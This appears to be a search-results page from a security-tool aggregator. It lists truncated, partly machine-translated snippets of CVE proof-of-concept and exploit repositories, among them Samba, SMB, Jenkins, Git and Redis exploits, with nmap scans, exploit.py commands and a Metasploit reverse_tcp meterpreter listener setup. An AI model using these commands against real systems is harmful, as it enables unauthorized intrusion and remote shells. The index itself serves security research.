777918 matches found
cve2018-13379-nmap-script
cve2018-13379-nmap-script CVE-2018-13379 के लिए Nmap NSE स्क्रिप्ट फोर्टिनेट फोर्टिओएस 6.0.0 से 6.0.4, 5.6.3 से 5.6.7 में SSL VPN वेब पोर्टल के अंतर्गत पथनाम का एक अनुचित प्रतिबंध "पथ ट्रैवर्सल" एक अप्रमाणित हमलावर को विशेष रूप से तैयार HTTP संसाधन अनुरोधों के माध्यम से सिस्टम फ़ाइलों को डाउनलोड...
CVE-2024-32002-poc
Script Bash : root@kitploit: !/bin/bash Set Git configuration options git config --global protocol.file.allow always git config --global core.symlinks true Avoid warning messages set default branch to main git config --global init.defaultBranch main Define tell-tale path...
Samba-Exploit-CVE-2007-2447
🎬 هذا فيديو يوتيوب 1️⃣ مسح الهدف Nmap root@kitploit: nmap -sS -sV -p 139,445 192.168.56.102 النتيجة المتوقعة: 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian 👉 إصدار سامبا: 3.0.20 هذا ضعيف لـ CVE-2007-2447. 2️⃣ اكتشاف استغلال سامبا root@kitploit:...
Awesome-Red-Team-Operations
Awesome-Red-Team-Operation أدوات اختبار الاختراق والفرق الحمراء من Joas و S3cur3Th1sSh1t سكربتات PowerShell https://github.com/S3cur3Th1sSh1t/WinPwn https://github.com/dafthack/MailSniper https://github.com/putterpanda/mimikittenz https://github.com/dafthack/DomainPasswordSpray...
CVE-2025-6440
CVE-2025-6440 WooCommerce Designer Pro CVE: CVE-2025-6440 CVSS: 9.8 Critique 📝 Description Le plugin WooCommerce Designer Pro pour WordPress, largement utilisé notamment dans des thèmes tels que Pricom - Printing Company & Design Services, est vulnérable au téléversement arbitraire de fichiers en...
CVE-2025-15403
CVE-2025-15403 RegistrationMagic 📡 Les renseignements sortent ici en premier. Suivez @KNxploited sur Telegram — divulgations CVE précises, exploits fonctionnels et recherche de vulnérabilités approfondie. Le canal pour ceux qui n'attendent pas les nouvelles — ils les créent. 🧠 Vue d'ensemble...
CVE-2025-14847
📝 Scanner MongoDB – Notes d'exécution Nom du script mongoexposurescanner.py 1. Prérequis Python 3.9+ Accès réseau aux hôtes cibles Périmètre approuvé pour l'analyse Vérifier Python : root@kitploit: python3 --version 2. Fichiers utilisés Fichier| Rôle ---|--- mongoscanner.py| Script d'analyse...
Cawdog
CAWODOG – إثبات مفهوم لحماية الملكية الفكرية للذكاء الاصطناعي الصناعي القائم على بايثون CAWODOG مجموعة هيمنة عالم القطط هو إثبات مفهوم مرح ولكن واقعي لـ حماية نماذج الذكاء الاصطناعي القائمة على بايثون المثبتة على أجهزة صناعية دون اتصال بالإنترنت. الفكرة الأساسية: خذ مصنّف صور صغيرًا يكتشف الكلاب...
CVE-2025-49844-RediShell-AI-made-Revshell
CVE-2025-49844 RediShell PoC de revshell généré par IA Complétion non testée du PoC Redishell fait par l'IA. PoC d'origine : https://github.com/raminfp/redisexploit/blob/main/exploitpoc.py Pièce coréenne : https://github.com/dwisiswant0/CVE-2025-49844/blob/master/CVE-2025-49844.lua Progress ? Nou...
CYBERDUDEBIVASH-ServiceNow-AI-Agent-Audit-Script
CYBERDUDEBIVASH ServiceNow AI Agent Audit Script v1.1 जनवरी 2026 अपने AI भविष्य को सुरक्षित करें – 2026 अपडेट के साथ एंटरप्राइज़-ग्रेड ऑडिट टूल यह स्क्रिप्ट ServiceNow AI Agents में CVE-2025-12420 जैसी कमजोरियों, शासन अंतराल और अनुपालन जोखिमों की जाँच करती है। CYBERDUDEBIVASH द्वारा संचालित – साइ...
Project-Field-Analysis-and-Memory-Leak-Demonstration
उद्देश्य इस परियोजना का उद्देश्य किसी दूरस्थ होस्ट पर Heartbleed भेद्यता CVE-2014-0160 का आकलन करना, इसकी उपस्थिति की पुष्टि करना, और TLS प्रोटोकॉल के माध्यम से सर्वर मेमोरी से संभावित संवेदनशील जानकारी निकालने के लिए इसका शोषण करना था। निष्पादन 1. खुले सेवाओं की पहचान Nmap nmap -sC -sV...
React2Shell-Vulnerability-Verification-Script
React2Shell भेद्यता सत्यापन स्क्रिप्ट verifyreactvulnerability.py यह स्क्रिप्ट क्या है? यह एक सरल, स्वतंत्र Python स्क्रिप्ट है जिसे आपकी परियोजना में महत्वपूर्ण React2Shell भेद्यता जिसे CVE-2025-55182 के नाम से भी जाना जाता है से प्रभावित होने की तुरंत जाँच करने में मदद के लिए बनाया गया है। यह...
Exploit-CVE-2024-23897
Exploit-CVE-2024-23897 تشغيل الحاوية docker run -p 8080:8080 --name vulnerable-jenkins -d jenkins/jenkins:2.441-jdk17 التحقق من السجلات docker logs الحصول على عنوان IP لحاوية docker docker inspect vulnerable-jenkins | grep IPAddress كود الاستغلال: python3 exploit.py --target http://127.0.0.1:8080...
CVE-2022-33891
「💥」CVE-2022-33891 विवरण Apache Spark UI कॉन्फ़िगरेशन विकल्प spark.acls.enable के माध्यम से ACLs सक्षम करने की संभावना प्रदान करता है। एक प्रमाणीकरण फ़िल्टर के साथ, यह जाँचता है कि किसी उपयोगकर्ता के पास एप्लिकेशन को देखने या संशोधित करने की अनुमति है या नहीं। यदि ACLs सक्षम हैं, तो...
CVE-2026-77823
The LearnPress plugin for WordPress is vulnerable to SQL Injection via the 'orderby' parameter of the exportordercsv AJAX action in versions up to, and including, 4.4.4. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL quer...
CVE-2025-57310
CVE-2025-57310 ثغرة تزوير الطلبات عبر المواقع CSRF في Salmen2/Simple-Faucet-Script الإصدار 1.07 عبر طلب POST مصمم إلى admin.php?p=ads&c=1 تتيح للمهاجمين تنفيذ تعليمات برمجية عشوائية. CWE CWE-352: تزوير الطلبات عبر المواقع CSRF CVSS v3.1 النتيجة الأساسية: 8.8 عالية root@kitploit:...
CVE-2009-3103
CVE-2009-3103 SMB कमजोरी की जाँच करें nmap --script smb-vuln -p139,445 IP-TARGET श्रोता सेट करें sudo msfconsole use exploit/multi/handler set payload windows/meterpreter/reversetcp set LHOST YOUR-KALI-IP set LPORT 80 run एक्सप्लॉइट चलाएँ python3 exploit.py IP-TARGET YOUR-KALI-IP 80...
CVE-2022-38553
CVE-2022-38553 क्रॉस साइट स्क्रिप्टिंग XSS "ACADEMY LEARNING MANAGEMENT SYSTEM" POC वीडियो:...
redact
redact أزل المحتوى الشبيه ببيانات الاعتماد من السلاسل النصية الحرّة قبل أن تصل إلى السجلات أو أنظمة القياس عن بُعد أو أي سطح تابع لجهة خارجية جزء منمجموعة أدوات phpboyscout Go — وحدات Go صغيرة بلا أُطر عمل، مستخرجة من go-tool-base. التوثيق: redact.go.phpboyscout.uk تُزيل...
CVE-2024-20405
विवरण सिस्को फिनेस के वेब-आधारित प्रबंधन इंटरफेस में एक कमजोरी एक अनप्रमाणित, दूरस्थ हमलावर को RFI कमजोरी का शोषण करके संग्रहीत XSS हमला करने की अनुमति दे सकती है। यह कमजोरी प्रभावित उपकरण पर भेजे गए विशिष्ट HTTP अनुरोधों के लिए उपयोगकर्ता द्वारा प्रदत्त इनपुट के अपर्याप्त सत्यापन के कारण होती है...